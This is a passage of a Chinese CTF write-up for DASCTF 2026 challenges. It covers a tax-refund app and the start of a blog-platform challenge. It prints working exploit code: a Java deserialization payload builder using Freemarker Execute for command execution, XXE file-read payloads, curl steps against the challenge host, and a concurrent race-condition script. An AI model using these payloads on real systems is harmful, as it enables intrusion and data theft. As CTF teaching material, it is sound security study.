class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"role"</span><span class="punctuation">:</span><span class="string">"reviewer"</span><span class="punctuation">,</span><span class="attr">"success"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span>...<span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>这一步拿到 reviewer 权限，后面就能调用审批和导出接口。</p><hr><h3 id="六、漏洞-2：可控反序列化链"><a href="#六、漏洞-2：可控反序列化链" class="headerlink" title="六、漏洞 2：可控反序列化链"></a>六、漏洞 2：可控反序列化链</h3><h4 id="1-写入点：-api-review"><a href="#1-写入点：-api-review" class="headerlink" title="1. 写入点：/api/review"></a>1. 写入点：<code>/api/review</code></h4><p><code>ReviewController.reviewRefund()</code>：</p><ul><li>reviewer/admin 可调用</li><li><code>action=approve</code></li><li><code>attachmentData</code> 非空时只校验 HMAC 签名</li><li>签名正确就把 <code>attachmentData</code> 传给 <code>RefundService.approveRefund()</code></li></ul><p><code>application.properties</code> 中硬编码了签名密钥：</p><figure class="highlight properties"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">api.signing.secret</span>=<span class="string">TaxManager_Secret_K3y_2026_Un1que</span></span><br></pre></td></tr></tbody></table></figure><p>因此我们可以本地生成合法签名。</p><h4 id="2-落地点：RefundService-approveRefund"><a href="#2-落地点：RefundService-approveRefund" class="headerlink" title="2. 落地点：RefundService.approveRefund()"></a>2. 落地点：<code>RefundService.approveRefund()</code></h4><p>如果 <code>attachmentData</code> 非空，则：</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">req.setVoucherData(attachmentData);</span><br></pre></td></tr></tbody></table></figure><p>也就是说我们能直接控制数据库里的 <code>voucherData</code>。</p><h4 id="3-触发点：-api-export-generate"><a href="#3-触发点：-api-export-generate" class="headerlink" title="3. 触发点：/api/export/generate"></a>3. 触发点：<code>/api/export/generate</code></h4><p><code>ExportController.generateExport()</code> 在 token 校验通过后，会做：</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> SerializeUtil.deserialize(voucherData);</span><br></pre></td></tr></tbody></table></figure><p><code>SerializeUtil.deserialize()</code> 直接：</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(...).readObject();</span><br></pre></td></tr></tbody></table></figure><p>这是标准 Java 原生反序列化。</p><h4 id="4-Gadget-链"><a href="#4-Gadget-链" class="headerlink" title="4. Gadget 链"></a>4. Gadget 链</h4><p>链条如下：</p><ol><li><code>ScheduledTaskHandler.readObject()</code></li><li>遍历 <code>taskQueue</code></li><li>对每个 <code>Runnable</code> 执行 <code>run()</code></li><li><code>ReportJob.run()</code></li><li>调 <code>PdfReportGenerator.render(templateContent)</code></li><li><code>render()</code> 使用 Freemarker <code>StringTemplateLoader</code></li><li>模板可控，触发 Freemarker 模板执行</li></ol><p>因此完整链是：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ObjectInputStream.readObject()</span><br><span class="line"> -&gt; ScheduledTaskHandler.readObject()</span><br><span class="line"> -&gt; Runnable.run()</span><br><span class="line"> -&gt; ReportJob.run()</span><br><span class="line"> -&gt; PdfReportGenerator.render()</span><br><span class="line"> -&gt; Freemarker template execution</span><br></pre></td></tr></tbody></table></figure><hr><h3 id="七、XXE-点分析"><a href="#七、XXE-点分析" class="headerlink" title="七、XXE 点分析"></a>七、XXE 点分析</h3><p><code>ImportController.importHistory(byte[])</code> 是远端版本新增的逻辑。</p><p>关键点：</p><ol><li>先把原始字节按 UTF-8 / UTF-16LE / UTF-16BE 转字符串</li><li>只要原始 payload 中包含 <code>flag</code>，直接拦截：</li></ol><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Security Alert: Invalid keyword detected in payload</span><br></pre></td></tr></tbody></table></figure><ol start="3"><li>之后仍然用默认 <code>DocumentBuilderFactory.newInstance()</code> 去解析 XML</li><li>未禁用外部实体，因此 <strong>XXE 仍然成立</strong></li><li>如果解析结果或异常消息中出现 <code>flag</code> / <code>DASCTF</code>，又会二次拦截</li></ol><p>所以直接读：</p><ul><li><code>file:///flag</code></li><li><code>file:///flag.txt</code></li></ul><p>会被关键字规则挡住。</p><p>解法是：</p><ul><li><strong>先用反序列化执行命令把 flag 写到别的文件里</strong></li><li>然后 XXE 读取该中转文件</li></ul><hr><h3 id="八、利用思路"><a href="#八、利用思路" class="headerlink" title="八、利用思路"></a>八、利用思路</h3><p>因为 XXE 不能直接读 <code>/flag</code>，所以分两步：</p><h4 id="第一步：命令执行，把-flag-写到-tmp-x"><a href="#第一步：命令执行，把-flag-写到-tmp-x" class="headerlink" title="第一步：命令执行，把 flag 写到 /tmp/x"></a>第一步：命令执行，把 flag 写到 <code>/tmp/x</code></h4><p>执行命令：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">base64</span> /flag &gt; /tmp/x || <span class="built_in">base64</span> /flag.txt &gt; /tmp/x</span><br></pre></td></tr></tbody></table></figure><p>这样有两个好处：</p><ol><li>XML 里不直接出现 <code>flag</code></li><li>读取 <code>/tmp/x</code> 时返回的是 base64，不容易被回显规则误杀</li></ol><h4 id="第二步：XXE-读取-tmp-x"><a href="#第二步：XXE-读取-tmp-x" class="headerlink" title="第二步：XXE 读取 /tmp/x"></a>第二步：XXE 读取 <code>/tmp/x</code></h4><p>构造：</p><figure class="highlight xml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">history</span> [<span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">"file:///tmp/x"</span>&gt;</span>]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">history</span>&gt;</span><span class="tag">&lt;<span class="name">taxpayerId</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">taxpayerId</span>&gt;</span><span class="tag">&lt;/<span class="name">history</span>&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>这样就能把 <code>/tmp/x</code> 内容带回来。</p><hr><h3 id="九、本地构造-payload"><a href="#九、本地构造-payload" class="headerlink" title="九、本地构造 payload"></a>九、本地构造 payload</h3><p>我本地写了一个辅助类 <code>BuildPayload.java</code>，用于生成序列化后的 base64。</p><p>代码如下：</p><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.tax.job.ReportJob;</span><br><span class="line"><span class="keyword">import</span> com.tax.report.PdfReportGenerator;</span><br><span class="line"><span class="keyword">import</span> com.tax.util.ScheduledTaskHandler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.Queue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BuildPayload</span> {</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line">        <span class="keyword">if</span> (args.length &lt; <span class="number">1</span>) {</span><br><span class="line">            System.err.println(<span class="string">"usage: BuildPayload &lt;command...&gt;"</span>);</span><br><span class="line">            System.exit(<span class="number">1</span>);</span><br><span class="line">        }</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">command</span> <span class="operator">=</span> String.join(<span class="string">" "</span>, args);</span><br><span class="line">        <span class="type">String</span> <span class="variable">template</span> <span class="operator">=</span></span><br><span class="line">                <span class="string">"&lt;#assign ex=\"freemarker.template.utility.Execute\"?new()&gt;${ex(\""</span></span><br><span class="line">                        + command.replace(<span class="string">"\\\\"</span>, <span class="string">"\\\\\\\\"</span>).replace(<span class="string">"\""</span>, <span class="string">"\\\\\""</span>)</span><br><span class="line">                        + <span class="string">"\")}"</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">ScheduledTaskHandler</span> <span class="variable">handler</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ScheduledTaskHandler</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">taskQueueField</span> <span class="operator">=</span> ScheduledTaskHandler.class.getDeclaredField(<span class="string">"taskQueue"</span>);</span><br><span class="line">        taskQueueField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">        <span class="meta">@SuppressWarnings("unchecked")</span></span><br><span class="line">        <span class="type">Queue</span>&lt;Runnable&gt; <span class="variable">queue</span> <span class="operator">=</span> (Queue&lt;Runnable&gt;) taskQueueField.get(handler);</span><br><span class="line">        queue.add(<span class="keyword">new</span> <span class="title class_">ReportJob</span>(<span class="keyword">new</span> <span class="title class_">PdfReportGenerator</span>(<span class="string">"pdf"</span>), template));</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line">        oos.writeObject(handler);</span><br><span class="line">        oos.close();</span><br><span class="line"></span><br><span class="line">        System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>编译：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac -<span class="built_in">cp</span> <span class="string">"BOOT-INF/classes;BOOT-INF/lib/*"</span> -d . BuildPayload.java</span><br></pre></td></tr></tbody></table></figure><p>生成 payload：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -<span class="built_in">cp</span> <span class="string">".;BOOT-INF/classes;BOOT-INF/lib/*"</span> BuildPayload <span class="string">"sh -c base64<span class="variable">$IFS</span>/flag&gt;/tmp/x||base64<span class="variable">$IFS</span>/flag.txt&gt;/tmp/x"</span></span><br></pre></td></tr></tbody></table></figure><p>这里用 <code>$IFS</code> 代替空格，避免命令字符串被额外转义搞坏。</p><hr><h3 id="十、完整复现步骤"><a href="#十、完整复现步骤" class="headerlink" title="十、完整复现步骤"></a>十、完整复现步骤</h3><p>下面给一套可直接照抄的步骤。</p><h4 id="1-注册"><a href="#1-注册" class="headerlink" title="1. 注册"></a>1. 注册</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"username\":\"user1\",\"password\":\"P@ssw0rd123\",\"taxpayerId\":\"TAX001\"}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/register</span><br></pre></td></tr></tbody></table></figure><h4 id="2-登录"><a href="#2-登录" class="headerlink" title="2. 登录"></a>2. 登录</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"username\":\"user1\",\"password\":\"P@ssw0rd123\"}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/login</span><br></pre></td></tr></tbody></table></figure><h4 id="3-升级为-reviewer"><a href="#3-升级为-reviewer" class="headerlink" title="3. 升级为 reviewer"></a>3. 升级为 reviewer</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"role\":\"reviewer\"}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/profile/update</span><br></pre></td></tr></tbody></table></figure><h4 id="4-申请退款"><a href="#4-申请退款" class="headerlink" title="4. 申请退款"></a>4. 申请退款</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"amount\":4.56,\"taxYear\":2025,\"reason\":\"flag\"}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/refund/apply</span><br></pre></td></tr></tbody></table></figure><p>记录返回里的 <code>id</code>，假设为 <code>4</code>。</p><h4 id="5-生成恶意序列化-payload"><a href="#5-生成恶意序列化-payload" class="headerlink" title="5. 生成恶意序列化 payload"></a>5. 生成恶意序列化 payload</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -<span class="built_in">cp</span> <span class="string">".;BOOT-INF/classes;BOOT-INF/lib/*"</span> BuildPayload <span class="string">"sh -c base64<span class="variable">$IFS</span>/flag&gt;/tmp/x||base64<span class="variable">$IFS</span>/flag.txt&gt;/tmp/x"</span></span><br></pre></td></tr></tbody></table></figure><p>得到一段 base64，记为 <code>PAYLOAD_B64</code>。</p><h4 id="6-计算签名"><a href="#6-计算签名" class="headerlink" title="6. 计算签名"></a>6. 计算签名</h4><p>签名算法：</p><ul><li>HMAC-SHA256</li><li>key = <code>TaxManager_Secret_K3y_2026_Un1que</code></li><li>明文 = <code>PAYLOAD_B64</code></li><li>输出 = Base64</li></ul><p>Python 版：</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hmac</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">secret = <span class="string">b"TaxManager_Secret_K3y_2026_Un1que"</span></span><br><span class="line">data = <span class="string">b"PAYLOAD_B64"</span></span><br><span class="line">sig = base64.b64encode(hmac.new(secret, data, hashlib.sha256).digest()).decode()</span><br><span class="line"><span class="built_in">print</span>(sig)</span><br></pre></td></tr></tbody></table></figure><h4 id="7-审批恶意退款"><a href="#7-审批恶意退款" class="headerlink" title="7. 审批恶意退款"></a>7. 审批恶意退款</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  -H <span class="string">"X-Signature: YOUR_SIGNATURE"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"refundId\":4,\"action\":\"approve\",\"attachmentData\":\"PAYLOAD_B64\"}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/review</span><br></pre></td></tr></tbody></table></figure><h4 id="8-准备导出"><a href="#8-准备导出" class="headerlink" title="8. 准备导出"></a>8. 准备导出</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"refundId\":4}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/export/prepare</span><br></pre></td></tr></tbody></table></figure><p>拿到 <code>exportToken</code>。</p><h4 id="9-触发反序列化"><a href="#9-触发反序列化" class="headerlink" title="9. 触发反序列化"></a>9. 触发反序列化</h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -c cookies.txt -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line">  --data-binary <span class="string">"{\"refundId\":4,\"exportToken\":\"YOUR_TOKEN\"}"</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/export/generate</span><br></pre></td></tr></tbody></table></figure><p>这里虽然返回通常是：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"success"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span><span class="attr">"message"</span><span class="punctuation">:</span><span class="string">"Unexpected object type: com.tax.util.ScheduledTaskHandler. Expected: com.tax.model.TaxReport (serialVersionUID=1)"</span><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>但这并不影响命令已经执行。<br>因为 <code>readObject()</code> 已经先跑完了，报错只是后续 <code>instanceof TaxReport</code> 检查失败。</p><h4 id="10-XXE-读取-tmp-x"><a href="#10-XXE-读取-tmp-x" class="headerlink" title="10. XXE 读取 /tmp/x"></a>10. XXE 读取 <code>/tmp/x</code></h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -b cookies.txt \</span><br><span class="line">  -H <span class="string">"Content-Type: application/xml"</span> \</span><br><span class="line">  --data-binary <span class="string">'&lt;!DOCTYPE history [&lt;!ENTITY xxe SYSTEM "file:///tmp/x"&gt;]&gt;&lt;history&gt;&lt;taxpayerId&gt;&amp;xxe;&lt;/taxpayerId&gt;&lt;/history&gt;'</span> \</span><br><span class="line">  http://ee4912d8.http-ctf2.dasctf.com:80/api/import/history</span><br></pre></td></tr></tbody></table></figure><p>返回类似：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"success"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span><span class="attr">"message"</span><span class="punctuation">:</span><span class="string">"History imported successfully for taxpayer: REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K\n"</span><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><hr><h3 id="十一、解码-flag"><a href="#十一、解码-flag" class="headerlink" title="十一、解码 flag"></a>十一、解码 flag</h3><p>base64 解码：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">'REFTQ1RGezZmZjA4ZDU4LTkzYWEtNDM1Ni1iZGI3LTllNjcwNGM3NDBlY30K'</span> | <span class="built_in">base64</span> -d</span><br></pre></td></tr></tbody></table></figure><p>得到：</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DASCTF{6ff08d58-93aa-4356-bdb7-9e6704c740ec}</span><br></pre></td></tr></tbody></table></figure><hr><h2 id="InkVerse"><a href="#InkVerse" class="headerlink" title="InkVerse"></a>InkVerse</h2><blockquote><p>InkVerse是一个功能丰富的社区博客平台，支持文章发布、赞赏打赏、内容审核、文章导出以及每周摘要报告等功能。平台最近完成了一次大规模架构升级，引入了后台任务队列和分级公告系统。作为受邀的安全顾问，你的任务是对该系统进行全面评估。试试 /api/docs</p></blockquote><h3 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h3><p>开局一个登录框，先注册账号</p><p><img src="/CTF/DASCTF2026/DASCTF2026.assets/image-20260530145019209.png" alt="image-20260530145019209" loading="lazy" decoding="async"></p><p>这道题有个打赏系统，可以通过别人的打赏获得声望，达到50声望以上就可以成为审稿人（reviewer）</p><p>可以看到有一个接口<code>bullen</code>在普通用户权限下是没办法使用的</p><p>所以我们要想办法成为reviewer，在这里的常规打赏没办法达到50以上</p><p>这个时候<code>@marin</code>师傅提出了创造性的一步，尝试高并发看看能不能过</p><p>如果多个请求并发命中，就可能在余额尚未正确更新前同时通过检查，导致：</p><ul><li>成功打赏次数超过 20 次</li><li>余额变成负数</li><li>声望突破 40 点上限</li></ul><p>复现脚本</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> concurrent.futures</span><br><span class="line"></span><br><span class="line">base = <span class="string">"http://58873f99.http-ctf2.dasctf.com"</span></span><br><span class="line"></span><br><span class="line">u = <span class="string">"rvw"</span> + <span class="built_in">str</span>(random.randint(<span class="number">100000</span>, <span class="number">999999</span>))</span><br><span class="line">p = <span class="string">"pass1234"</span></span><br><span class="line"></span><br><span class="line">s = requests.Session()</span><br><span class="line">s.post(base + <span class="string">"/register"</span>, data={<span class="string">"username"</span>: u, <span class="string">"password"</span>: p}, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">s.post(base + <span class="string">"/login"</span>, data={<span class="string">"username"</span>: u, <span class="string">"password"</span>: p}, allow_redirects=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">cookie = s.cookies.get(<span class="string">"session"</span>)</span><br><span class="line">headers = {</span><br><span class="line">    <span class="string">"Cookie"</span>: <span class="string">f"session=<span class="subst">{cookie}</span>"</span>,</span><br><span class="line">    <span class="string">"Content-Type"</span>: <span class="string">"application/json"</span>,</span><br><span class="line">    <span class="string">"Connection"</span>: <span class="string">"close"</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">tip</span>(<span class="params">_</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        r = requests.post(</span><br><span class="line">            base + <span class="string">"/api/tip"</span>,</span><br><span class="line">            data=<span class="string">'{"article_id":1}'</span>,</span><br><span class="line">            headers=headers,</span><br><span class="line">            timeout=<span class="number">10</span>,</span><br><span class="line">        )</span><br><span class="line">        <span class="keyword">return</span> r.status_code, r.text</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"ERR"</span>, <span class="built_in">repr</span>(e)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> concurrent.futures.ThreadPoolExecutor(max_workers=<span class="number">160</span>) <span class="keyword">as</span> ex:</span><br><span class="line">    results = <span class="built_in">list</span>(ex.<span class="built_in">map</span>(tip, <span class="built_in">range</span>(<span class="number">320</span>)))</span><br><span class="line"></span><br><span class="line">s2 = requests.Session()</span><br><span class="line">s2.post(base + <span class="string">"/login"</span>, data={<span class="string">"username"</span>: u, <span class="string">"password"</span>: p}, allow_redirects=<span class="literal">False</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"account:"</span>, u, p)</span><br><span class="line"><span class="built_in">print</span>(s2.get(base + <span class="string">"/api/user/info"</span>).text)</span><br></pre></td></tr></tbody></table></figure><p><img src="/CTF/DASCTF2026/DASCTF2026.assets/image-20260530145820424.png" alt="image-20260530145820424" loading="lazy" decoding="async"></p><p>拿到 reviewer 后，可以访问：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /review</span><br></pre></td></tr></tbody></table></figure><p>以及导出接口：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">POST /api/export</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"></span><br><span class="line">{"article_id":1}</span><br></pre></td></tr></tbody></table></figure><p>导出完成后，通过：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /api/export/status</span><br></pre></td></tr></tbody></table></figure><p>可以拿到输出文件名，例如：</p><ul><li><code>export_1_1.txt</code></li><li><code>export_2_2.txt</code></li><li><code>export_3_3.txt</code></li></ul><p>下载导出文件：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /exports/export_1_1.txt</span><br></pre></td></tr></tbody></table></figure><p>得到内容类似：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Title: Welcome to InkVerse</span><br><span class="line">Author: admin</span><br><span class="line">Export-ID: 1</span><br><span class="line">Processed-At: 2026-05-30 04:21:29</span><br><span class="line">Integrity: a606867c38f1d10f4bf4f6480cad8c83</span><br><span class="line">Feature-Token: 68aa12766d60014a4685760309c7b4d57b22788f93b2ab00fdbbe04da8480bad</span><br><span class="line">---</span><br><span class="line">This is the official blog platform. Share your stories with the world!</span><br></pre></td></tr></tbody></table></figure><p>这里的关键点是：</p><blockquote><p>导出文件直接泄露了 <code>Feature-Token</code></p></blockquote><p>题目接口文档里写了：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /api/review/feature</span><br></pre></td></tr></tbody></table></figure><p>而 reviewer 测试时，服务端会明确报错：</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"error"</span><span class="punctuation">:</span><span class="string">"signature required. Use a valid feature signing token."</span><span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>说明 <code>signature</code> 实际上就是某种 feature token。</p><h3 id="利用-Feature-Token-申请精选"><a href="#利用-Feature-Token-申请精选" class="headerlink" title="利用 Feature-Token 申请精选"></a>利用 Feature-Token 申请精选</h3><h4 id="1-先准备自己的文章"><a href="#1-先准备自己的文章" class="headerlink" title="1. 先准备自己的文章"></a>1. 先准备自己的文章</h4><p>普通用户新建文章并提交审核：</p><figure class="highlight http"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST /article/new</span><br><span class="line">POST /article/&lt;id&gt;/submit</span><br></pre></td></tr></tbody></table></figure><h4 id="2-reviewer-审核通过"><a 